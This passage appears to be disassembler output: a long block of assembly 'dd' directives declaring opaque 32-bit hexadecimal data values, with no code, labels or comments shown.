		dd 0EBA35A32h, 18796384h, 0BD73C12Ah, 3E9408E6h, 31113E89h
		dd 9E7CFB57h, 0B2915917h, 5D312660h, 50A9C60Dh,	84BCFD3Bh
		dd 890B602h, 5A2C59C8h,	0B690EC77h, 86E91A07h, 0C7D3467Eh
		dd 0E00DE24h, 0E945896Bh, 2FD941A6h, 5236F6F8h,	0F225CA8Bh
		dd 0A027223Eh, 84DC2B78h, 0F85AED02h, 139A5168h, 16E39462h
		dd 42B8F58Ah, 5B01E6CBh, 28992A2Ch, 7E5D1090h, 0A9052CD3h
		dd 0A06B56D5h, 1E2E0A5Fh, 0D827F368h, 0ABF39D11h, 524777CBh
		dd 32A8A397h, 9AAA4Bh, 6301184Ah, 859D6AE9h, 0E4FB4B13h
		dd 0E707814Eh, 17A60FB8h
		dd 71A4DFB2h, 287C8959h, 0E9D8B476h, 12A19A09h,	94E5B5Eh
		dd 1DCEEA9Fh, 5A418CB0h, 0FA5C856Eh, 314AE1B6h,	2B6D47BBh
		dd 9DA2AE67h, 0C1F49BC4h, 0EFAF8AEDh, 54346D7Eh, 608954C7h
		dd 1EBDB91Eh, 892B8B0Bh, 0C4A9C95Bh, 0B6522B82h, 8239FD82h
		dd 9D528106h, 2AE54DD2h, 0A1BC42C4h, 5B12093Eh,	126FF55h
		dd 8E80201Eh, 5839BE1Dh, 0F3E60AFh, 95E77A04h, 0CF20640Fh
		dd 590D7747h, 0BB60E499h, 0C07D7F4Dh, 7EBDC73Ah, 5E970496h
		dd 2A082047h, 80D75EE9h, 5C6021B9h, 0A10A99Ch, 0F65A008Fh
		dd 68C5FED5h, 0BD414943h, 0AEBF6484h, 0B4563C64h, 0EC9683F8h
		dd 9829B15Bh, 97248A01h, 0B3130233h, 75042385h,	5C049649h
		dd 7AA1B430h, 162A5B41h, 0F616BE7Ch, 12BBBF01h,	443E5975h
		dd 0DDAF5641h, 5186101Bh, 2F0BBF3Fh, 14278FE9h,	644EF621h
		dd 0EDD274AAh, 771D1068h, 695E5A37h, 535E0F90h,	88E95412h
		dd 0E0059FC0h, 0A08A2818h, 37C403ACh, 6BE916BDh, 2058E90Fh
		dd 361F04EEh, 0C62D8CAEh, 1D1C380Bh, 0D4FF433h,	7EE380AFh
		dd 3A32A5E5h, 17619127h, 0BE06A21h, 82C391CDh, 105714B5h
		dd 6682E660h, 3C6E693Bh, 0DD2F7EC2h, 0E9D2FCC7h, 0C34C703h
		dd 0C63140C8h, 64AE585Fh, 2DACAA77h, 345F82E4h,	923A5B5Eh
		dd 8241768Eh, 3FCC5B5Dh, 0BF7F20FCh, 7E981CC9h,	0BDB2DD87h
		dd 4BC27479h, 0BAF0908h, 0EFFD9F73h, 7072310Bh,	21EC89C8h
		dd 777A84D7h, 307E5FBDh, 0CA71ACD3h, 0FD053B35h, 2340685Fh
		dd 0A316EA5Dh, 0E0412F8Eh, 0C382E6CDh, 0A94788Ch, 7E1A60C1h
		dd 120DF5C8h, 4554A1Ch,	0ECFF09E5h, 5368E006h, 72336403h
		dd 0C5DEC8D7h, 234BE309h, 0EC8DD14h, 0FF2DDF39h, 48F9C377h
		dd 0AD4FD0FBh, 58C113A8h, 4C6D7606h, 74E8B587h,	0DB31131Eh
		dd 57E30C20h, 0A261F03Fh, 4403141h, 5F9F9B14h, 0E465F883h
		dd 5606C907h, 0FC01A9FFh, 0B5082095h, 0FB0BF9D1h, 0CFC8A6CDh
		dd 0D274956Ah, 0B0CAFD92h, 7417680Bh, 5BE03CD6h, 9596E953h
		dd 26D26C8Ah, 0A8722F94h, 58FFC9Dh, 0A57810E9h,	4DF37E93h
		dd 209BCD96h, 64B4689h,	2568E2DCh, 0C2D13B3Dh, 8E99696h
		dd 258AA018h, 8D964BE6h, 28B1336Fh, 83C7A06Fh, 0BE1E1A74h
		dd 2D2689C0h, 4F217925h, 29765089h, 610B905h, 84C859C2h
		dd 3716AE99h, 4A42A23Ch, 81A76779h, 48F768FEh, 0C66B313Bh
		dd 0B8777E77h, 0FDB108B4h, 0E086ED3Ah, 0AB101A68h, 48B7C16Bh
		dd 5B044B26h, 0B20B767Ah, 1DBC9248h, 0BB49C04Eh, 28275F09h
		dd 3C5CC065h, 8F22BE05h, 348E0341h, 48BCDC0h, 50901DC1h
		dd 12A83020h, 0B958C529h, 0E04B2FB9h, 3B6853DFh, 633D54DBh
		dd 0BAA3D4A6h, 0A74759Bh, 2B3E6DF8h, 0BF25137Fh, 491EDD88h
		dd 0C0FBFCBFh, 6BCA175Fh, 3C0B239Eh, 0A17513Ah,	9E933D39h
		dd 575656EEh, 5C4FE00h,	29B2AC3h, 14FBE20h, 2A4177E0h
		dd 814BC7B4h, 49D6B80h,	297E13ACh, 6CB498F9h, 802A7B60h
		dd 165384C2h, 8A8B551h,	0EA80EC9Fh, 0AC9FEABh, 0ECE25ED1h
		dd 1EA4F35h, 0B5922231h, 20802E40h, 0B03FDE34h,	0F16C9865h
		dd 82CA2901h, 0AD7593E4h, 0B351E16Eh, 4012F72Eh, 659BC5FCh
		dd 173DB92Ch, 2BCE3BA6h, 0C8EEF526h, 8D0909FDh,	8A9DE614h
		dd 0F6AFC352h, 9686AEC3h, 0DADA1368h, 0C6C159C7h, 0A5F8456h
		dd 706ECCEEh, 0B7E2DD8h, 5A580820h, 7FD4BDDh, 59C8137Fh
		dd 1443AA05h, 5FB2E0E9h, 0A6AFC044h, 68170F2Ah,	0BF0BF889h
		dd 9FAE58FBh, 6A407EFh,	2B85DF25h, 0C886A914h, 8819475Ah
		dd 3FF6817h, 465E392Eh,	260EC002h, 0D756250Fh, 55D18480h
		dd 2CFD18E9h, 55A6A52Ah, 696F0496h, 78E311D3h, 82BAB95Ch
		dd 0FD601DEAh, 5AD646C0h, 517B7E9Fh, 4F042A37h,	0FCAFEA88h
		dd 0DB7D109Eh, 16B6F85Eh, 27ACE2C1h, 0C5152950h, 0F332FBD1h
		dd 2E360FDBh, 864F740h,	8D12B8BCh, 0DE8F41C7h, 6E19B94Ch
		dd 0D814E7ECh, 52480A05h, 170C88Eh, 85BE381h, 0FB30657Eh
		dd 0F4C295C1h, 6565D375h, 9FF015Ch, 0DA46E650h,	5916D5F4h
		dd 0B29395FCh, 763910DCh, 0F3398748h, 9263B94Bh, 0FCA5F6E8h
		dd 1C0F58E6h, 0DE274168h, 2F0AC077h, 0B6B872BAh, 65AECC4Fh
		dd 7EDCBB09h, 68520055h, 77EB66CCh, 59B78FE9h, 18CBAC88h
		dd 8BB81085h, 7DF96B04h, 0FFF2D831h, 0EEC3A3C4h, 9B40588Eh
		dd 0FEB15A50h, 9EF9CB2Dh, 2832032Ch, 0D17551D8h, 0FEF38199h
		dd 7BDFF6C7h, 0E96D4EC1h, 276EB4C5h, 0AE9B8474h, 0EBF1134Fh
		dd 58726028h, 3ADD772Ch, 0A64E04F0h, 99680BA5h,	0B3251879h
		dd 0C3FE0659h, 1860D9E9h, 0C4C25E59h, 0C1EC4F1Bh, 0C544B9C1h
		dd 99F4403Dh, 0EB90DD22h, 0AEB95C7Dh, 0BC843581h, 0F16E2F42h
		dd 73BE6058h, 0B85F5A80h, 34940BA0h, 857F7993h,	80FEDADh
		dd 2D3FF59h, 5CB15AACh,	8F82C393h, 9E94F76h, 5537E2D5h
		dd 68877FE7h, 770971F8h, 0D5523951h, 0E09A0733h, 4C6ED3F7h
		dd 0B82AE90Dh, 2AF04F50h, 30A4764Fh, 0F10F0780h, 0D4D30135h
		dd 0F79BE471h, 0FE27DC7Dh, 52B1F09Bh, 0AE586B45h, 0FB78A107h
		dd 0C2FA951Dh, 0B900A32Bh, 6FA467D8h, 0DDA43123h, 0AFCAAF0Fh
		dd 1226D74Ch, 6DE98914h, 7B953FD0h, 0EE054B4Ah,	13C4CA03h
		dd 0DC0CF729h, 0BDEF1B8Ah, 6E77390h, 3A0EC8C1h,	0A8A0F37Fh
		dd 0F6C207F1h, 0F170E513h, 0F53DD7F2h, 31AF2E63h, 22A5B2CEh
		dd 10931A94h, 47BDC06Fh, 0F26DC056h, 0CFAA64C5h, 0E44BCA90h
		dd 0F32F41FBh, 8820D269h, 7BE7630h, 2783E8D1h, 9CCDA301h
		dd 7AC94505h, 0D7878857h, 0BA6FBBC0h, 0F9871B2Ch, 17D3064Fh
		dd 958712Eh, 71CA0F64h,	0B131AE5Bh, 82C317ACh, 0D159F587h
		dd 46B88F44h, 0EA64FB5Eh, 41E7A8BAh, 56F73BB0h,	0B4D566CBh
		dd 0BCB9B34h, 0FDA05CDCh, 0A17A8668h, 1358093Bh, 36BF4271h
		dd 0D2BF5ADEh, 21B59382h, 0E90D313Dh, 0BC93CE1h, 4F38858h
		dd 77EA3D22h, 0BFEDB29Eh, 9F1B5A7Dh, 5959C7FCh,	4F891E21h
		dd 0E5FCE3C1h, 8C76AE02h, 0E4E4807Eh, 968F48DAh, 0A9A809FCh
		dd 0B88011DCh, 1BFE5719h, 0F1A092Dh, 8BF5D718h,	9D1F267h
		dd 44E647FFh, 0FACE8E09h, 2A8B0CBDh, 77E5BD59h,	88B75A5h
		dd 7C94E45Dh, 0AB022FD6h, 7FA35A0h, 5D2651D5h, 480E4D45h
		dd 89B7E3FCh, 0E45C60EEh, 49E95E08h, 215ACE92h,	0E6BF4C65h
		dd 5AF4A24h, 0ABEAC12Fh, 0A87A8739h, 28FB923Eh,	8C413F80h
		dd 337BF03Eh, 0C1206D6h, 0E580E280h, 0B05007ECh, 0D2C530E8h
		dd 0B848F7ABh, 0E7DF6EA3h, 80E418BEh, 174F680Eh, 44A2076h
		dd 0B7DA1C0h, 606B56BEh, 0EEC02E5h, 0E9EA010Eh,	50D13514h
		dd 331F054Ah, 0FB943BDCh, 880841EDh, 0DD974Eh, 7940B85Dh
		dd 5071986h, 2A1129E6h,	802DF832h, 320D5F07h, 5A79173Eh
		dd 16A65650h, 0B4A80DCBh, 0E765D88Bh, 40D1F49Dh, 39D308B5h
		dd 0D1292Fh, 41C817BDh,	0CE0930C4h, 5CE7EEA2h, 0A711B73Fh
		dd 0B4F5FEC7h, 0F995BB0Ch, 0FA1279BCh, 0F17921B6h, 20CCCD5Ah
		dd 574EF35Eh, 5D56EEF4h, 6382BA53h, 387C9D6Bh, 81017210h
		dd 0FA4F2FCFh, 29C77B15h, 18C619Eh, 0C56A2517h,	12DF71ADh
		dd 7D3AAD6Fh, 7841719Ah, 0C30D2AACh, 0E03ACA28h, 20770D06h
		dd 0EC80E1EDh, 0D602F6A0h, 38E9C6FEh, 965C452h,	111E5450h
		dd 0BCA83405h, 64C02C1Fh, 8341A87h, 0B252C640h,	0BEE9183Ah
		dd 49BB82BDh, 27921503h, 254EF387h, 4FFE059Ch, 17C0755Ah
		dd 334B5968h, 80B49BACh
		dd 393B439Bh, 0FA29411Eh, 5B08EA14h, 0BAF734BAh, 8225A669h
		dd 0B77CB83Fh, 0AB16EBE4h, 0FCCD2180h, 5DCC244Ch, 2C42A78h
		dd 0D51F8FBAh, 6C7F8970h, 0E94B1E6Dh, 608EE605h, 1C516856h
		dd 0ABC9F850h, 0E65FE262h, 953A7006h, 3002A251h, 0E132D78Ch
		dd 8A6E56C6h, 98D51017h, 7004174Ch, 0C064331Dh,	2A14C58Dh
		dd 0EE861550h, 75C65A09h, 0A0CC201h, 2F0D3808h,	4CC4C118h
		dd 32376BE8h, 63AA9B90h, 64325D81h, 2582371Ch, 24546F5Dh
		dd 9FE5AD40h, 0D29AE80Bh, 5440BBCh, 9A007606h, 3E4571E0h
		dd 0CF9AEBB5h, 140530B1h, 0FE832A82h, 0AF6B9D5Dh, 665C8B15h
		dd 11680E86h, 3CAE172Bh, 0EA17833Dh, 0CDEA5202h, 259232B2h
		dd 0D17F8092h, 0B03540E0h, 0A70090Fh, 0CED5C301h, 18749DDEh
		dd 9DEC60AFh, 0D8EB88DFh, 0C3E1505h, 41AD1301h,	0AB9BE616h
		dd 4B9F6C3Ch, 0A5BCA2E5h, 0DDF98EAh, 0DEBD3F5Ch, 116F360Ch
		dd 0EB5848C3h, 0D1147101h, 30DFF765h, 40051B3Ch, 0D7E9B87Fh
		dd 826F72B1h, 0D7425A87h, 5D24FDDCh, 69DEEF1Dh,	0B4010A93h
		dd 38D66B2Fh, 5F4B8204h, 2B7F0B2Bh, 9B9F300h, 0FE63389h
		dd 51BF8084h, 30C30083h, 894B1E42h, 0EAA86E96h,	37E94340h
		dd 692BAD75h, 2638A444h, 39AF5F2Fh, 0B383547Ah,	0CBE983CAh
		dd 0E2BE8571h, 9AEBB5ABh, 9CCC1A7Bh, 0E8C17D98h, 4DE6D40h
		dd 0D51D3BEDh, 0B095C85h, 4A04D108h, 0EC503828h, 959027Bh
		dd 5D02978h, 2545078Ah,	0FF494B71h, 6C7EDB83h, 1FD22E2h
		dd 15C5401Dh, 67A10C84h, 0CE0FC3F9h, 3E9E50D9h,	5B7FC2C0h
		dd 35775CBFh, 0DDB3B633h, 5DEB29D0h, 7C905357h,	490F7397h
		dd 221C9CDFh, 0E5056ABBh, 386E3428h, 0FD3BA6B8h, 0A009BA40h
		dd 7664FF13h, 0C683096Eh, 1EB34960h, 0E015272Dh, 60DBE945h
		dd 88C34DF8h, 8C51D2C9h, 0A621FCFCh, 6BFD084Eh,	0B75B0840h
		dd 511C791Eh, 2C9EFD88h, 21668E6h, 0FB50CEF0h, 3B758FDDh
		dd 93B3103Fh, 0EBAFFA7Ah, 299CF33Fh, 0E9090745h, 0ED52A96Ch
		dd 347E2708h, 8EB2C380h, 20E9D4E7h, 0D09802D1h,	0B73B822h
		dd 0BB08C6C1h, 9711FA02h, 6398EC4h, 9C30BF34h, 0F6CC8658h
		dd 4AE908D0h, 0BBF5007Fh, 0D727B8Eh, 34E22E98h,	5C9B602Fh
		dd 0F042824h, 0AC1F9013h, 895EF522h, 0D4CA4FFCh, 46246D10h
		dd 93680110h, 0F46FE73Fh, 9FC9B9C5h, 2464AEDh, 0DF962197h
		dd 7B7DF13Ah, 9E9F2ACAh, 0E4680598h, 8916B358h,	0A0D4F7h
		dd 771F0703h, 4B74E281h, 0C2BEEA60h, 4BF5F901h,	6C8DEFACh
		dd 6F4809D2h, 0D15D6DE9h, 0A7E53BC0h, 4D41A39h,	0A4A2DEEFh
		dd 4A00B625h, 8103EBC1h, 1F93CB05h, 30C54AC7h, 0DC01460Ah
		dd 8DE3339h, 0F94F4068h, 0F7B44E52h, 16533EEEh,	0DCBA82DFh
		dd 17C0127Ch, 404B39B9h, 0F9C1F561h, 0DF06E83Eh, 8EDC9A96h
		dd 0BED84F01h, 13A96728h, 1444B81Dh, 0ED251F0Fh, 0DB201EC6h
		dd 0DC91A2BDh, 0A2ADBD1Bh, 6768BE82h, 808F51DFh, 13E81B4Ch
		dd 0D0B5D0F7h, 49714B81h, 5B010788h, 30147384h,	741B723Ah
		dd 359A21A6h, 13A9B02Ah, 0BC6FE0D4h, 5207CABBh,	597622h
		dd 4102AF4Ah, 6152C109h, 83E4CAE0h, 54E95B48h, 0C1384B3Ch
		dd 0A7DAF706h, 226580Bh, 118DFA2h, 25775AD3h, 0AB4142F1h
		dd 74FA685Eh, 73D3B651h, 49C49568h, 16EA1054h, 0D7E46068h
		dd 31055F41h, 2BB4B989h, 1C275ABh, 0AD1DE649h, 871A8353h
		dd 318FD25h, 74014A96h,	1CAE420Bh, 0C9BDE101h, 175BE99Eh
		dd 27658E3Eh, 48E998B8h, 7731276Dh, 882A5D2h, 0CE0898DEh
		dd 0CBF2207Ch, 0CDEF5ACFh, 68412CA8h, 3D71DECCh, 82167530h
		dd 933F8DB0h, 0DBEF52F2h, 0E5680EE1h, 0DBEE1255h, 31EA5F95h
		dd 2F7595F2h, 164D938Ah, 9ACF311Ch, 545F08F9h, 685385F4h
		dd 8821BB2Ah, 0BF8AA2D1h, 89D57638h, 0C5FFA09Bh, 8B5A13BCh
		dd 65ED169Bh, 0C486AC20h, 1A1903Fh, 6730DDC3h, 44CB0154h
		dd 0AB0812BEh, 33E98588h, 0D161BC5Ah, 6466E7BAh, 0B5A69FCh
		dd 9281C034h, 0E22E1A11h, 4B95D050h, 0E90B58CBh, 0C3736928h
		dd 0F7B91B89h, 58BF32CCh, 7CC9A2D5h, 0DBC05201h, 56270923h
		dd 4ACC5048h, 29810341h, 0E9B90D08h, 4006B1Fh, 311926B8h
		dd 13C2B721h, 0D22DD5D6h, 42779E70h, 0A0FD8F24h, 52025172h
		dd 2FDCBF1Ch, 6BBC6700h, 0D23BE906h, 1C2EFBF1h,	0D6D82127h
		dd 0A6E9DB09h, 5C66650h, 44A33640h, 0FEE3004Fh,	4777524Eh
		dd 9DEA0EC1h, 0CF607920h, 17A19D3Ah, 97316A29h,	0F253D6ACh
		dd 0A2E581AFh, 5A10AD51h, 0FCC0CC7h, 710C594Bh,	2261332Eh
		dd 0DBF56D13h, 2CBAEDh,	5DAFF05Eh, 0AB017D40h, 0FE4FDA8Bh
		dd 6F6C09F9h, 4F0B1EF5h, 837517A7h, 0C8E85A8Bh,	0C44CB753h
		dd 4F662027h, 0F7EF0031h, 35EB7324h, 80BDA1FCh,	5558BBFEh
		dd 0A40F5E78h, 5648052Eh, 64D6002Bh, 8DE9102Bh,	2BD99D83h
		dd 585E92A8h, 0D20580C5h, 0AB361140h, 0FA3013Ch, 7DE90EBAh
		dd 0D85103B2h, 4CC612C3h, 1026B47Ah, 0B80BCF90h, 0C5A91E30h
		dd 18F0E49Dh, 0F1306D68h, 81803373h, 2BF0BCDh, 104606Ch
		dd 2D5D1E77h, 0FD4D1949h, 0C6EFDD41h, 48A27F0Bh, 0E6921C22h
		dd 8B42B119h, 0FF54527Fh, 0B2FFFB4h, 49047EF8h,	0FEE41075h
		dd 0F6802CCEh, 0B3211621h, 4CF733A2h, 0B8A24559h, 935F5994h
		dd 9C7CD325h, 0DFD756C2h, 4204885Ah, 0FA29403Eh, 0AFD7C4ACh
		dd 2225040h, 0E19615E9h, 0D61E5FC2h, 1F4D681Ch,	58305725h
		dd 0DD5FE2E9h, 951939B3h, 704E10CEh, 31160EA4h,	82EEA011h
		dd 0F1A72DEAh, 7CFD6252h, 0AAB20746h, 0F1565328h, 5E0EDF09h
		dd 4BDCD276h, 0ACFC02B9h, 0DCF1D830h, 87E6885h,	82B19532h
		dd 98631CFh, 44E1A0F7h,	9D0C1D1Eh, 0BB081F73h, 92400B28h
		dd 7110D183h, 0F2B03EA3h, 1723014h, 4A9FA190h, 14E1D778h
		dd 0FAFDCE7Bh, 4F1B050Eh, 0FB446826h, 0BB53C730h, 0F70C7D87h
		dd 3C65C971h, 5CDC3AC8h, 6F106002h, 69445ECDh, 561AA3BDh
		dd 1A75E1F7h, 19672E20h, 0C639502h, 57F0DCB6h, 590794C1h
		dd 0E12FE9C3h, 14A22089h, 19D34414h, 0F05F2DF5h, 782A0963h
		dd 4E581320h, 0DEB07B27h, 0C2F8E587h, 98758273h, 0B7B3AF46h
		dd 851AD438h, 9DAD66B5h, 109AE7Eh, 52E07EE8h, 40B7A652h
		dd 82641D0Bh, 6B313A80h, 5CB529D7h, 0D9EA13B8h,	0DC100796h
		dd 87625DC6h, 947DF71h,	309C676h, 0B3DF246h, 2FD00EA8h
		dd 0B6800072h, 0BF051DEEh, 0F0897871h, 33F09CC4h, 24B03E68h
		dd 0E6E55825h, 83BE5680h, 0ED063135h, 82CA01FBh, 58078B61h
		dd 5E06422Dh, 0C5C065C3h, 66D0C2Eh, 0FB00040Eh,	4CD4B224h
		dd 5B27E6D8h, 8102A578h, 874E41F3h, 0A380C583h,	0DFBD3C80h
		dd 22FFCAh, 270956BEh, 0E978B2FEh, 0D2124960h, 0D2501610h
		dd 0BD6EAB6h, 54910600h, 153C47h, 5540B7B9h, 3BE18152h
		dd 0FCC198Bh, 0AAC98612h, 601058A7h, 22907069h,	1864C325h
		dd 2D334A0Dh, 685477B3h, 38CEFD6Bh, 9B611C24h, 34D820CFh
		dd 0BF5B2CE3h, 63047258h, 0A0E966F6h, 0A65212ABh, 36E9C426h
		dd 0BE0812AFh, 851C28CBh, 0F9272135h, 80C549C7h, 3094BB8Bh
		dd 0B930FD29h, 0BF5C97D1h, 5EE9C960h, 0B4D6BDA4h, 65226886h
		dd 0B267F24Bh, 5E259775h, 4FCEF840h, 0D25F149Ah, 0C378FE7Bh
		dd 448E30FBh, 9CFB0AB4h, 0E91A2D8Ah, 948CCB7Fh,	0F6098104h
		dd 0F8292FCCh, 0BAC03EA2h, 0F589FC82h, 0D761455Eh, 4F32B58h
		dd 0B8AE4A79h, 32A35F1Eh
		dd 478D13Eh, 537EAAC1h,	0ED89BA67h, 0EF5AED38h,	79C2AC74h
		dd 992FDE64h, 0C2290635h, 0E669AF61h, 2AC7A70Fh, 0B1DBF7D3h
		dd 0A03F83CFh, 9503B197h, 0F607E9C0h, 1DC9E9D1h, 5BBC7CFh
		dd 20EFB47Ch, 532539Ch,	7041145h, 447ACDF4h, 0FC73EA9Dh
		dd 0D64A412Dh, 6E268ABFh, 0A89888DAh, 3296B800h, 24C1055Bh
		dd 42F904E8h, 704817E9h, 0C301315Ah, 80C9B551h,	0B22ECEE5h
		dd 7D4D1359h, 4285C6EDh, 3C37AADEh, 30BC910Ah, 146825C1h
		dd 6787DD03h, 576EF869h, 0F9A4A4FEh, 0F9C203E2h, 5B259067h
		dd 61E288C1h, 0B03885E3h, 178128C4h, 368022F6h,	3FC71A35h
		dd 0C12D01A1h, 5D2A1A58h, 419AA8DCh, 1A207F41h,	0F277515Eh
		dd 0E6365897h, 0FE1497EAh, 2417CFDh, 510F0D7Ch,	68CCDF5Fh
		dd 76C0F05Fh, 2C73BAB8h, 1310187Ch, 2D16DCF5h, 264BD43Ch
		dd 0C1130B46h, 3CBA1460h, 36AC0177h, 0E4A2F4BBh, 1FA738CDh
		dd 142C1EE9h, 0F8897C96h, 1287447Fh, 0D653F8C5h, 5C54F804h
		dd 76266880h, 17104819h, 9752506h, 0BABA0C4Dh, 0C6540CD7h
		dd 5FFA2F8Eh, 96FF7FABh, 60A13446h, 21D2C26Fh, 0E95828D4h
		dd 229BC4Ch, 3343C9BAh,	55B27760h, 34D84F81h, 0CFB192h
		dd 45E28002h, 0BC908851h, 8C484B2Eh, 50D4689Fh,	4B672029h
		dd 0E153EC88h, 282EA022h, 0AAB2B830h, 1EBA660Eh, 0C20187E2h
		dd 3EA588C3h, 5BBC5980h, 0A3813A13h, 79FF93C2h,	0ADFD6F45h
		dd 0A09011CAh, 0CB9F2FDCh, 63BB92FDh, 311013C0h, 0B4C308D7h
		dd 800BF28h, 5BCBB52Dh,	90C52953h, 0F50B9F2Ah, 97F1ECF5h
		dd 42F69AFFh, 0BF62C959h, 1C605BD8h, 0CF8165h, 0D178D915h
		dd 0D74FF7E7h, 5D79CCA4h, 0F1D834Ch, 5F419639h,	1EDA79EAh
		dd 0D9F74529h, 0B03C8456h, 0A13EBE25h, 9A68241Dh, 5C4D8F40h
		dd 30B9FE2h, 51408BDDh,	0D95612E2h, 0B9CCEF0Dh,	7C59256Ch
		dd 9BB18B33h, 81346C5Dh, 0EE05A19Fh, 7E166E41h,	8CF44BABh
		dd 5F4BBF6Ah, 2758EFE3h, 0F9250CA2h, 12160C7Bh,	177F0B30h
		dd 0E11EBB23h, 48F56595h, 12E73E63h, 91B242A2h,	0AEF0BB17h
		dd 0B1F3EC27h, 0C61F3F9Ch, 6004C8A5h, 14A6FF5Bh, 0ABB3AB92h
		dd 3BD9E9C2h, 60D52169h, 3C12DDC2h, 0A4CC58B1h,	2E313868h
		dd 556DFA4Ah, 99137D21h, 0D8ECB159h, 8698BC6Ah,	4F421801h
		dd 0EFBB0031h, 7C41405Ch, 1DD893FCh, 2F54E180h,	67547209h
		dd 303C6559h, 9ACB311Ch, 58F408D9h, 0C74D7F3Ch,	0BE560168h
		dd 30A87FB6h, 0CC85E53Fh, 0C270A1FAh, 1299F38Ah, 0FBDD5773h
		dd 0E90CC43Ah, 50ED857Dh, 9A7B804h, 3DA16BF9h, 1CFABE30h
		dd 0AC54423Bh, 75D10216h, 0E05F4430h, 16CA870Ah, 20E547E9h
		dd 96F08C86h, 0D529EC2Ch, 6284B296h, 0B1FCC2EFh, 93AB0404h
		dd 6069203h, 7A72E9DDh,	3982BF45h, 0F4C1016Eh, 0BBE5EFF1h
		dd 10866AB3h, 0E5951E5Eh, 0E3A5B94Ah, 9363ACD9h, 553D8A75h
		dd 745BF269h, 740BBF6Ch, 5D513440h, 61EB1A20h, 40F12B76h
		dd 0C364A08Dh, 0D8F77707h, 3C806605h, 4FCE68D3h, 45E63034h
		dd 0F2D8A23h, 9D7E56E9h, 0E31C4735h, 0D4E5A43Ch, 0BBBF169Eh
		dd 48EC15D8h, 6AD0EE94h, 4035AE4Eh, 173647E0h, 0A8418275h
		dd 1CBC05FAh, 3880770Dh, 0F2B76CC5h, 171BB2D9h,	0C7E6E942h
		dd 0E0D89DA8h, 9BA8F40Ah, 20E7CA01h, 32BA3673h,	28270401h
		dd 15A268C8h, 0AC5E8D6Ah, 0AA0B5918h, 14655F67h, 7CCB539Fh
		dd 0A42C9031h, 8522D61h, 0BE8488FEh, 24826A54h,	945275C1h
		dd 68625F2Dh, 623CE854h, 796FB483h, 1959307Dh, 40339CB4h
		dd 299DE6BBh, 359D824Bh, 4CC97A82h, 49406EBCh, 0B81B40E3h
		dd 0F586011Eh, 91C081Ah, 8C750214h, 8C0EFEAFh, 0F6C7AB1Ah
		dd 9E34DE0Bh, 649003Dh,	0BD8F68A4h, 84249BC0h, 124CBD80h
		dd 0B16F780Bh, 0AF0A2F17h, 0E9090BC3h, 60275032h, 520F7658h
		dd 0CC156B0h, 21CC35D2h, 9A5CAC42h, 3A2BFFFFh, 0D0250BDFh
		dd 0A7802737h, 864FF848h, 0CA2A357Ah, 0E2049F6Eh, 506D6056h
		dd 4B79A9ABh, 5A689302h, 0F182467Fh, 5D06926Eh,	5B3AE2D5h
		dd 998425C1h, 7D78B8E2h, 0F07DF370h, 0C7F83EE9h, 1018ACB4h
		dd 0BE5B6313h, 2038A443h, 7DF9C7F4h, 4C279D2h, 7F0986E9h
		dd 4A20AE1Eh, 0D9012C9Dh, 0EFF12535h, 0A5F31B09h, 0CBFE8955h
		dd 35FA5BF6h, 0D8560546h, 7B2DCA1Ch, 0D4A5F527h, 970D5015h
		dd 0B4C4F782h, 2C8C7228h, 0CE21600Eh, 5AA97432h, 892419B1h
		dd 4ACCFC2Ah, 305CC6FEh, 8E796C9Dh, 92E92D54h, 0E658Bh
		dd 0A72A6BE6h, 7357C305h, 0C5BAFD11h, 32888ADh,	51CE7FCh
		dd 5580437Dh, 0D9098BBDh, 60E89D4Dh, 4826FABh, 9AC85BAEh
		dd 0C27EFA40h, 2BD16811h, 4E009CF3h, 0B90B386Fh, 5A3DE04Dh
		dd 928BEC1Eh, 0C00BB3EBh, 0E957E189h, 0F36C4A06h, 0DF453826h
		dd 0E9C577A3h, 134F8D6h, 541D50BBh, 0E56E4320h,	0E200CF47h
		dd 4C60C3F3h, 31DF2933h, 833D69E9h, 4797CE8h, 10B37DBFh
		dd 20287780h, 308DB05Fh, 521202EAh, 5B4D5942h, 0A2C21C38h
		dd 0E9712601h, 7CAFB543h, 93E934FEh, 0C6D4A2C9h, 0FD682FF3h
		dd 0BAF0B1E6h, 26C61712h, 81923DACh, 0C359DCCEh, 66B6AE85h
		dd 8FABA892h, 5B30B0B8h, 0B0685E49h, 3A917554h,	92DE240h
		dd 2F7C5580h, 15053485h, 0E9852807h, 137E947Fh,	74640480h
		dd 84AE13E4h, 4EF1AB47h, 825F0CA5h, 0D53C8B5Dh,	89A59CE7h
		dd 0F20904CDh, 55D30E80h, 560B833h, 0F8322DCFh,	6249C154h
		dd 5D077B0Bh, 5F095399h, 0AC2C61C5h, 0D3DE04E9h, 38CDFE06h
		dd 0C16FAF41h, 6530C897h, 0EB58F545h, 8A2C1A1Dh, 61A0F2D7h
		dd 0C0B7250Fh, 0AA541C09h, 28493600h, 13CEBE27h, 0ABD8D7B6h
		dd 0FED96B0h, 3DF6032h,	8055F529h, 7FB42DDAh, 7C6727E9h
		dd 81252767h, 0C230A1F9h, 150728E2h, 6809B95Fh,	25B4BDEh
		dd 0C2CD5C49h, 1A775EF5h, 0C976DEA5h, 5100E8F4h, 1CBE6856h
		dd 5E190210h, 0EEF9E952h, 17A9457Fh, 5A4EB2BCh,	0ED7A0F2h
		dd 0B85F1E1h, 7A5AAE3Ah, 0E90A02FEh, 9DB8D0C6h,	74C9FCFEh
		dd 147D27FDh, 0A66B32D5h, 73FD5D60h, 8AC00C21h,	82A2CDE9h
		dd 0F639EB77h, 3E997074h, 0E3B829C7h, 17FA3B8Bh, 31206AF0h
		dd 0B8AC4C9Fh, 9C57AF2Dh, 0CE8000A3h, 0B45066DBh, 0E65C3003h
		dd 0C63F7BFDh, 0F4F62555h, 1AFC2FE2h, 6968893Eh, 97A00418h
		dd 1B05F5B9h, 0ECCEBB9Bh, 0D1257E6Ah, 88D4F107h, 350758F3h
		dd 6A5727EBh, 0BD633350h, 0CD052623h, 2D4B006Dh, 941A68FBh
		dd 0BFC014Ch, 31B395E9h, 4E9F3CD3h, 0BF16E0D5h,	71285C5h
		dd 2BA6E5AAh, 0E6F22E3Dh, 9954206Eh, 0F03ACAA0h, 2D98F2Dh
		dd 0DF6C29A4h, 414A6B79h, 0FAB95178h, 6C910138h, 6EC7D8BEh
		dd 0E1C57B93h, 2DBF4A57h, 0CFF222F5h, 46664968h, 65CD099Bh
		dd 945B5A19h, 28DD5908h, 9552ECDFh, 3E51FA5Ch, 1DE8B555h
		dd 3BA5A78h, 20FDB647h,	0C3805AC8h, 0D92DBC76h,	0F531DA5Bh
